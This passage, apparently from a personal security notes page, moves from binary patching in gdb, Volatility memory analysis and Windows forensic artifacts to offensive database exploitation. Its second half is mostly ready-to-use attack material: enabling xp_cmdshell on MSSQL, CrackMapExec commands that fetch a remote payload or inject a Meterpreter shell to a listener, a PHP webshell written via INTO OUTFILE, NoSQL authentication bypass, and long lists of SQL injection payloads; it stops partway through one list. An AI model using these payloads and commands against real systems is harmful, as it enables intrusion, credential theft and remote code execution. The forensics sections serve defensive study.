either try to recover the password/key/secret-info from the memory and register or bypass the mechanism itself. ![](/files/sbu2aAbIEnoXlS0T7WCb) The key is right here but let's just *ni* until we hit the end for now. ![](/files/yNIw6SUtCqXeMP5FuHYT) The program tells us that the key is wrong. We can rerun the program in gdb with bad as an argument, breakpoint at \*main+69 and *ni* once to pass the "check license puts" ![](/files/3D2qQskrOYIInWwUykBw) `CMP` subtracts the operands and sets the flags. Namely, it sets the zero flag if the difference is zero (operands are equal). `TEST` sets the zero flag, `ZF`, when the result of the AND operation is zero. If two operands are equal, their bitwise AND is zero when both are zero. `TEST` also sets the sign flag, `SF`, when the most significant bit is set in the result, and the parity flag, `PF`, when the number of set bits is even. {% hint style="info" %} in this particular case, TEST instruction performs a bitwise logical AND, discards the actual result and sets/unsets the ZF according to the result of the logical and: if the result is zero it sets ZF = 1, otherwise it sets ZF = 0. Conditional jump instructions like JE are designed to look at the ZF for jumping/notjumping so using TEST and JE together is equivalent to perform a conditional jump based on the value of a specific register: {% endhint %} So we could set the value of $eax to 0 and it would technically bypass the check. ``` set $eax=0 ni ni ni ni ``` ![](/files/OnGEtJBRCoOeej15Mkb5) A few instructions later we notice that we hit another address in memory that executes the "Access Granted" prompt. We also notice that the path is 0x400610 which is what our manual analysis determined would be the good address to land on ! ### Quick strcmp analysis STRCMP is part of libc library, use ltrace to check for occurence of its usage. ![](/files/8goTZxp72GYpoUFi9CMU) # Memory Analysis ## VMEM dump Use volatility to get some info about the memory dump {% hint style="info" %} Depending if you are using Volatility2 or Volatility3, the commands below might differ but the methodology stays pretty much the same. {% endhint %} {% hint style="warning" %} While running Vol3, If you run into:\ AttributeError: function/symbol 'ARC4\_stream\_init'\ **Fix**: pip3 install pycryptodome==3.0.0.
{% endhint %} ``` python3 vol.py imageinfo -f Snapshot.vmem ``` Depending on the output, you might be able to enumerate further. ![](/files/-MkexqaDVSHK929LCeTb) ``` python3 vol.py -f Snapshot.vmem hashdump ``` # Forensics ## Windows ### Recover deleted files Like the File Allocation Table, there is a Master File Table in NTFS. However, the Master File Table, or MFT, is much more extensive than the File Allocation Table. It is a structured database that tracks the objects stored in a volume. Therefore, we can say that the NTFS file system data is organized in the Master File Table. From a forensics point of view, the following are some of the critical files in the MFT: ``` #Get Info about files in $MFT MFTECmd.exe -f --csv ``` Open Disk image, local disk, etc with autopsy and run any desired modules. ![](/files/h1LrBzrdvmmUw2YBUsho) ![](/files/FPDx8vy27Epqhjry9Agb) ### Evidence of execution #### Windows Prefetch files When a program is run in Windows, it stores its information for future use. This stored information is used to load the program quickly in case of frequent use. This information is stored in prefetch files which are located in the `C:\Windows\Prefetch` directory. ``` #EZTools PECmd.exe -f --csv PECmd.exe -d --csv ``` #### Windows 10 Timeline Windows 10 stores recently used applications and files in an SQLite database called the Windows 10 Timeline. This data can be a source of information about the last executed programs. It contains the application that was executed and the focus time of the application. The Windows 10 timeline can be found at the following location: `C:\Users\\AppData\Local\ConnectedDevicesPlatform\{randomfolder}\ActivitiesCache.db` ``` #EZTools WxTCmd.exe -f --csv ``` #### Windows Jump Lists Windows introduced jump lists to help users go directly to their recently used files from the taskbar. We can view jumplists by right-clicking an application's icon in the taskbar, and it will show us the recently opened files in that application. This data is stored in the following directory: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations` ``` #EZTools JLECmd.exe -f --csv ``` #### Shortcut Files Windows creates a shortcut file for each file opened either locally or remotely. The shortcut files contain information about the first and last opened times of the file and the path of the opened file, along with some other data. Shortcut files can be found in the following locations: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` ``` #EZTools LECmd.exe -f --csv ``` #### IE/Edge history An interesting thing about the IE/Edge browsing history is that it includes files opened in the system as well, whether those files were opened using the browser or not. Hence, a valuable source of information on opened files in a system is the IE/Edge history. We can access the history in the following location: `C:\Users\\AppData\Local\Microsoft\Windows\WebCache\WebCacheV*.dat` The files/folders accessed appear with a `file:///*` prefix in the IE/Edge history. ![](/files/NbHntswrsrDVPru1rFwl) ![](/files/JfweZYUm1mYRvLhNDzb2) #### Setupapi dev logs for USB devices When any new device is attached to a system, information related to the setup of that device is stored in the `setupapi.dev.log`. This log is present at the following location: `C:\Windows\inf\setupapi.dev.log` ## RedLine RedLine is a software developped by Fireeye and can help a red/blue teamer to identify malicious and/or abnormal activities. It works a little bit like **Volatility** but has a nice GUI and a better approach, in my opinion, about cross-platform analysis. Redline is good to get an overview or maybe even the full details of specific events but a combination of **RedLine** and **Volatility** can go a long way. Simply install RedLine and proceed to analyze your system with the default script or start a custom scan using the script customization engine. You will, most of the time, use the Standard Collector, it only takes a few minutes and collects the minimal amount of information to proceed to said scan. 1. **Standard Collector** - this method configures the script to gather a minimum amount of data for the analysis. This is going to be our preferred method to collect data in this room. It is also usually the fastest method to collect the data you need. It takes only a few minutes to complete. 2. **Comprehensive Collector** - this method configures the script to gather the most data from your host for further analysis. This method takes up to an hour or more. You will choose this method if you prefer the full analysis of the system. 3. **IOC Search Collector (Windows only)** - this method collects data that matches with the [Indicators of Compromise (IOCs)](https://www.crowdstrike.com/cybersecurity-101/indicators-of-compromise/) that you created with the help of [IOC Editor](https://www.fireeye.com/services/freeware/ioc-editor.html). You will choose this method if you want to run the data collection against known IOCs that you have gathered either through threat intelligence (data feed or narrative report), incident response, or malware analysis. You imported them into [IOC Editor](https://www.fireeye.com/services/freeware/ioc-editor.html). We'll look at the IOC Editor a bit further in the next task. ![](/files/4eTDoYlvmF82OL1AjPDx) ![](/files/FSfk2UWz0IvWgMY1XYHO) ![RedLine memory tab](/files/1NPVWCVP3La02OnTsERG) ![RedLine disk tab](/files/TiA148KXKOuJG9wCwRKw) Finish configuring your analysis and you can then proceed to selecting an **empty** folder to store your scan configuration and results into it. You can then proceed to execute the batch script that will start the analysis of your system with your customized configuration. ![](/files/MF5GhKRAFinGOpfLlbLl) A command prompt window will appear and after a few minutes or hours, depending on how you configured your analysis, will close by itself after it's completed. A new folder named SESSIONS should be created with the results in it. ![](/files/ejC9BPjlqj43bRxsTwPW) You can then open your Analysis Session file using RedLine. This can take a few minutes to import. ![](/files/wxNFfFEtXslECyfCPKqJ) * **System Information**: this is where you will see the information about the machine, BIOS (Windows only), operating system, and user information. * **Processes**: processes will contain different attributes such as Process Name, PID, Path, Arguments, Parent process, Username, etc. When you expand the Processes tab, there will be four sections: Handles, Memory Sections, Strings, and Ports. A **handle** is a connection from a process to an object or resource in a Windows operating system. Operating systems use handles for referencing internal objects like files, registry keys, resources, etc. **Memory Sections** will let you investigate unsigned memory sections used by some processes. Many processes usually use legitimate dynamic link libraries (DLLs), which will be signed. This is particularly interesting because if you see any unsigned DLLs then it will be worth taking a closer look. **Strings** - you will see the information on the captured strings. **Ports** - this is one of the critical sections to pay attention to. Most malware often initiates the outbound or inbound connections to communicate to their command and control server (C2) to do some malicious activities like exfiltrating the data or grabbing a payload to the machine. This situation is where you can review the suspicious connections from ports and IP addresses. Pay attention to the system processes as well. The threat actors like to avoid detection by hiding under the system processes. For example, explorer.exe or notepad.exe shouldn't be on the list of processes with outbound connections. Other important sections: * File System * Registry * Windows Services * Tasks (Threat actors like to create scheduled tasks for persistence) * Event Logs (this another great place to look for the suspicious Windows PowerShell events as well as the Logon/Logoff, user creation events, and others) * ARP and Route Entries * Browser URL History * File Download History The **Timeline** will help you to better understand when the compromise happened and what steps the malicious actor took to escalate the attack. The **Timeline** will also record every action on the file if it got create, changed, modified, accessed. # Android & iOS ## iTunes Backups & Trust Certs \ When backing up an iPhone, iTunes accesses the iPhone in a privileged state - similar to using the sudo command on Linux to run a command with root privileges.\ iPhones will only backup to trusted computers. When plugging into a new device, the iPhone will ask the user whether or not they wish to trust the computer ![](/files/-Ml3_-Q5o6l3d8ECIRDE) "Trusting" a computer involves generating a pair certificate on both the iPhone and computer. If the certificate matches up on both devices, the iPhone can be backed up. This process is a fantastic security measure by Apple, namely to prevent attacks such as "[Juice Jacking](https://en.wikipedia.org/wiki/Juice_jacking)". ### Image / Dump analysis Create an image if possible and use any text/hex editor like notepad or sublime, you can also use Sqlite to open db files # Database Injection & Exploitation ## Microsoft SQL ### xp\_cmdshell This let's you execute command on the system. Pretty straightforward. You need valid credentials. ``` python3 /usr/share/doc/python3-impacket/exxamples/mssqlclient.py -windows-auth /@10.129.95.187 #Check if xp_cmdshell is available SQL> xp_cmdshell() #IF NOT SQL> EXEC sp_configure 'xp_cmdshell', '1' SQL> RECONFIGURE ``` ### CrackMapExec ``` crackmapexec mssql -u -p -x {cmd} ``` #### CrackMapExec - Web Delivery ``` crackmapexec mssql -u -p -M web_delivery -o URL=http://:8080/dnc.exe ``` #### CrackMapExec - Shell injection ``` crackmapexec mssql -u -p -M met_inject -o LHOST= LPORT=4444 ``` ### Metasploit mssql\_payload Get a meterpreter. ``` use exploit/windows/mssql/mssql_payload #fill options ``` ## MySQL MySQL is one of the most used RDBMS out there and many web applications still suffer from SQL injection attacks. It simply consists in passing arbitrary arguments to a miscoded parsing algorithm. If user's input is not validated and sanitized before querying the back-end database, this could lead to catastrophic events from data leaks to remote code execution. ### Quick PHP WebShell This writes a shell which takes cmd as variable into /var/www/html/shell.php. ``` select '' INTO OUTFILE '/var/www/html/shell.php'; ``` ### UNION SELECT - Basic example and methodology 1. Find a vulnerable param with quotes/comments 2. Find how many columns in response from query 3. Find how many tables 4. Find how many columns 5. Enumerate rows 6. Profit ``` param=abc' UNION SELECT 1;-- #make sure to pick a random param value or it wont reflect param=abc' UNION SELECT 1,database(),3;-- #database() return db name param=abc' UNION SELECT 1,2 where database() like '%';-- #database() return db name param=abc' UNION SELECT 1,2 where database() like 's%';-- #enum databases param=abc' UNION SELECT 1,2 FROM information_schema.TABLES WHERE table_schema = 'some_table' and table_name like 'a%';-- #enum table param=abc' UNION SELECT 1,2 FROM information_schema.TABLES WHERE table_schema = 'some_table' and table_name like 'users%';-- #enum columns param=abc' UNION SELECT 1,2 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='other-table' and TABLE_NAME='users' and COLUMN_NAME like 'passwords%'; #enum rows param=abc' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='other-table' and TABLE_NAME='users' and COLUMN_NAME like 'a%' and COLUMN_NAME !='id'; #ignore previous found col param=abc' UNION SELECT 1,2 from users where username like 'a% param=abc' UNION SELECT 1,2 from users where username='admin' and password like 'a% ``` ## NoSQL A NoSQL database refers to a non-relational database that is short for non SQL and Not only SQL. It is a data-storing and data-retrieving system. \ NoSQL databases are commonly used nowadays for big Data and IoT devices due to their powerful features such as fast queries, ease of use to developers, scale easily, and flexible data structure. ### Modify HTTP request ``` GET http://some-url.com/some-page.php?username=admin&password=strongpass123 http://some-url.com/some-page.php?username=admin&password[$ne]=strongpass123 //not equal POST username=admin&password=strongpass123 username=admin&password[$ne]=strongpass123 //not equal ``` ## Payloads ### Generic payloads ``` ' '' ` `` , " "" / // \ \\ ; ' or " -- or # ' OR '1 ' OR 1 -- - " OR "" = " " OR 1 = 1 -- - ' OR '' = ' '=' 'LIKE' '=0--+ OR 1=1 ' OR 'x'='x ' AND id IS NULL; -- '''''''''''''UNION SELECT '2 %00 /*…*/ + addition, concatenate (or space in url) || (double pipe) concatenate % wildcard attribute indicator @variable local variable @@variable global variable # Numeric AND 1 AND 0 AND true AND false 1-false 1-true 1*56 -2 1' ORDER BY 1--+ 1' ORDER BY 2--+ 1' ORDER BY 3--+ 1' ORDER BY 1,2--+ 1' ORDER BY 1,2,3--+ 1' GROUP BY 1,2,--+ 1' GROUP BY 1,2,3--+ ' GROUP BY columnnames having 1=1 -- -1' UNION SELECT 1,2,3--+ ' UNION SELECT sum(columnname ) from tablename -- -1 UNION SELECT 1 INTO @,@ -1 UNION SELECT 1 INTO @,@,@ 1 AND (SELECT * FROM Users) = 1 ' AND MID(VERSION(),1,1) = '5'; ' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') -- Finding the table name Time-Based: ,(select * from (select(sleep(10)))a) %2c(select%20*%20from%20(select(sleep(10)))a) ';WAITFOR DELAY '0:0:30'-- Comments: # Hash comment /* C-style comment -- - SQL comment ;%00 Nullbyte ` Backtick ``` ### Generic error based ``` OR 1=1 OR 1=0 OR x=x OR x=y OR 1=1# OR 1=0# OR x=x# OR x=y# OR 1=1-- OR 1=0-- OR x=x-- OR x=y-- OR 3409=3409 AND ('pytW' LIKE 'pytW OR 3409=3409 AND ('pytW' LIKE 'pytY HAVING 1=1 HAVING 1=0 HAVING 1=1# HAVING 1=0# HAVING 1=1-- HAVING 1=0-- AND 1=1 AND 1=0 AND 1=1-- AND 1=0-- AND 1=1# AND 1=0# AND 1=1 AND '%'=' AND 1=0 AND '%'=' AND 1083=1083 AND (1427=1427 AND 7506=9091 AND (5913=5913 AND 1083=1083 AND ('1427=1427 AND 7506=9091 AND ('5913=5913 AND 7300=7300 AND 'pKlZ'='pKlZ AND 7300=7300 AND 'pKlZ'='pKlY AND 7300=7300 AND ('pKlZ'='pKlZ AND 7300=7300 AND ('pKlZ'='pKlY AS INJECTX WHERE 1=1 AND 1=1 AS INJECTX WHERE 1=1 AND 1=0 AS INJECTX WHERE 1=1 AND 1=1# AS INJECTX WHERE 1=1 AND 1=0# AS INJECTX WHERE 1=1 AND 1=1-- AS INJECTX WHERE 1=1 AND 1=0-- WHERE 1=1 AND 1=1 WHERE 1=1 AND 1=0 WHERE 1=1 AND 1=1# WHERE 1=1 AND 1=0# WHERE 1=1 AND 1=1-- WHERE 1=1 AND 1=0-- ORDER BY 1-- ORDER BY 2-- ORDER BY 3-- ORDER BY 4-- ORDER BY 5-- ORDER BY 6-- ORDER BY 7-- ORDER BY 8-- ORDER BY 9-- ORDER BY 10-- ORDER BY 11-- ORDER BY 12-- ORDER BY 13-- ORDER BY 14-- ORDER BY 15-- ORDER BY 16-- ORDER BY 17-- ORDER BY 18-- ORDER BY 19-- ORDER BY 20-- ORDER BY 21-- ORDER BY 22-- ORDER BY 23-- ORDER BY 24-- ORDER BY 25-- ORDER BY 26-- ORDER BY 27-- ORDER BY 28-- ORDER BY 29-- ORDER BY 30-- ORDER BY 31337-- ORDER BY 1# ORDER BY 2# ORDER BY 3# ORDER BY 4# ORDER BY 5# ORDER BY 6# ORDER BY 7# ORDER BY 8# ORDER BY 9# ORDER BY 10# ORDER BY 11# ORDER BY 12# ORDER BY 13# ORDER BY 14# ORDER BY 15# ORDER BY 16# ORDER BY 17# ORDER BY 18# ORDER BY 19# ORDER BY 20# ORDER BY 21# ORDER BY 22# ORDER BY 23# ORDER BY 24# ORDER BY 25# ORDER BY 26# ORDER BY 27# ORDER BY 28# ORDER BY 29# ORDER BY 30# ORDER BY 31337# ORDER BY 1 ORDER BY 2 ORDER BY 3 ORDER BY 4 ORDER BY 5 ORDER BY 6 ORDER BY 7 ORDER BY 8 ORDER BY 9 ORDER BY 10 ORDER BY 11 ORDER BY 12 ORDER BY 13 ORDER BY 14 ORDER BY 15 ORDER BY 16 ORDER BY 17 ORDER BY 18 ORDER BY 19 ORDER BY 20 ORDER BY 21 ORDER BY 22 ORDER BY 23 ORDER BY 24 ORDER BY 25 ORDER BY 26 ORDER BY 27 ORDER BY 28 ORDER BY 29 ORDER BY 30 ORDER BY 31337 RLIKE (SELECT (CASE WHEN (4346=4346) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' RLIKE (SELECT (CASE WHEN (4346=4347) THEN 0x61646d696e ELSE 0x28 END)) AND 'Txws'=' IF(7423=7424) SELECT 7423 ELSE DROP FUNCTION xcjl-- IF(7423=7423) SELECT 7423 ELSE DROP FUNCTION xcjl-- %' AND 8310=8310 AND '%'=' %' AND 8310=8311 AND '%'=' and (select substring(@@version,1,1))='X' and (select substring(@@version,1,1))='M' and (select substring(@@version,2,1))='i' and (select substring(@@version,2,1))='y' and (select substring(@@version,3,1))='c' and (select substring(@@version,3,1))='S' and (select substring(@@version,3,1))='X' ``` ### **Generic Time Based SQL Injection Payloads** ``` # from wapiti sleep(5)# 1 or sleep(5)# " or sleep(5)# ' or sleep(5)# " or sleep(5)=" ' or sleep(5)=' 1) or sleep(5)# ") or sleep(5)=" ') or sleep(5)=' 1)) or sleep(5)# ")) or sleep(5)=" ')) or sleep(5)=' ;waitfor delay '0:0:5'-- );waitfor delay '0:0:5'-- ';waitfor delay '0:0:5'-- ";waitfor delay '0:0:5'-- ');waitfor delay '0:0:5'-- ");waitfor delay '0:0:5'-- ));waitfor delay '0:0:5'-- '));waitfor delay '0:0:5'-- "));waitfor delay '0:0:5'-- benchmark(10000000,MD5(1))# 1 or benchmark(10000000,MD5(1))# " or benchmark(10000000,MD5(1))# ' or benchmark(10000000,MD5(1))# 1) or benchmark(10000000,MD5(1))# ") or benchmark(10000000,MD5(1))# ') or benchmark(10000000,MD5(1))# 1)) or benchmark(10000000,MD5(1))# ")) or benchmark(10000000,MD5(1))# ')) or benchmark(10000000,MD5(1))# pg_sleep(5)-- 1 or pg_sleep(5)-- " or pg_sleep(5)-- ' or pg_sleep(5)-- 1) or pg_sleep(5)-- ") or pg_sleep(5)-- ') or pg_sleep(5)-- 1)) or pg_sleep(5)-- ")) or pg_sleep(5)-- ')) or pg_sleep(5)-- AND (SELECT * FROM (SELECT(SLEEP(5)))bAKL) AND 'vRxe'='vRxe AND (SELECT * FROM (SELECT(SLEEP(5)))YjoC) AND '%'=' AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP) AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)-- AND (SELECT * FROM (SELECT(SLEEP(5)))nQIP)# SLEEP(5)# SLEEP(5)-- SLEEP(5)=" SLEEP(5)=' or SLEEP(5) or SLEEP(5)# or SLEEP(5)-- or SLEEP(5)=" or SLEEP(5)=' waitfor delay '00:00:05' waitfor delay '00:00:05'-- waitfor delay '00:00:05'# benchmark(50000000,MD5(1)) benchmark(50000000,MD5(1))-- benchmark(50000000,MD5(1))# or benchmark(50000000,MD5(1)) or benchmark(50000000,MD5(1))-- or benchmark(50000000,MD5(1))# pg_SLEEP(5) pg_SLEEP(5)-- pg_SLEEP(5)# or pg_SLEEP(5) or pg_SLEEP(5)-- or pg_SLEEP(5)# '\" AnD SLEEP(5) AnD SLEEP(5)-- AnD SLEEP(5)# &&SLEEP(5) &&SLEEP(5)-- &&SLEEP(5)# ' AnD SLEEP(5) ANd '1 '&&SLEEP(5)&&'1 ORDER BY SLEEP(5) ORDER BY SLEEP(5)-- ORDER BY SLEEP(5)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj) (SELECT * FROM (SELECT(SLEEP(5)))ecMj)# (SELECT * FROM (SELECT(SLEEP(5)))ecMj)-- +benchmark(3200,SHA1(1))+' + SLEEP(10) + ' RANDOMBLOB(500000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(500000000/2)))) RANDOMBLOB(1000000000/2) AND 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) OR 2947=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) SLEEP(1)/*' or SLEEP(1) or '" or SLEEP(1) or "*/ ``` ### Generic Union Select ``` ORDER BY SLEEP(5) ORDER BY 1,SLEEP(5) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')) ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29 ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 ORDER BY SLEEP(5)# ORDER BY 1,SLEEP(5)# ORDER BY 1,SLEEP(5),3# ORDER BY 1,SLEEP(5),3,4# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29# ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30# ORDER BY SLEEP(5)-- ORDER BY 1,SLEEP(5)-- ORDER BY 1,SLEEP(5),3-- ORDER BY 1,SLEEP(5),3,4-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25-- ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26-- ORDER BY 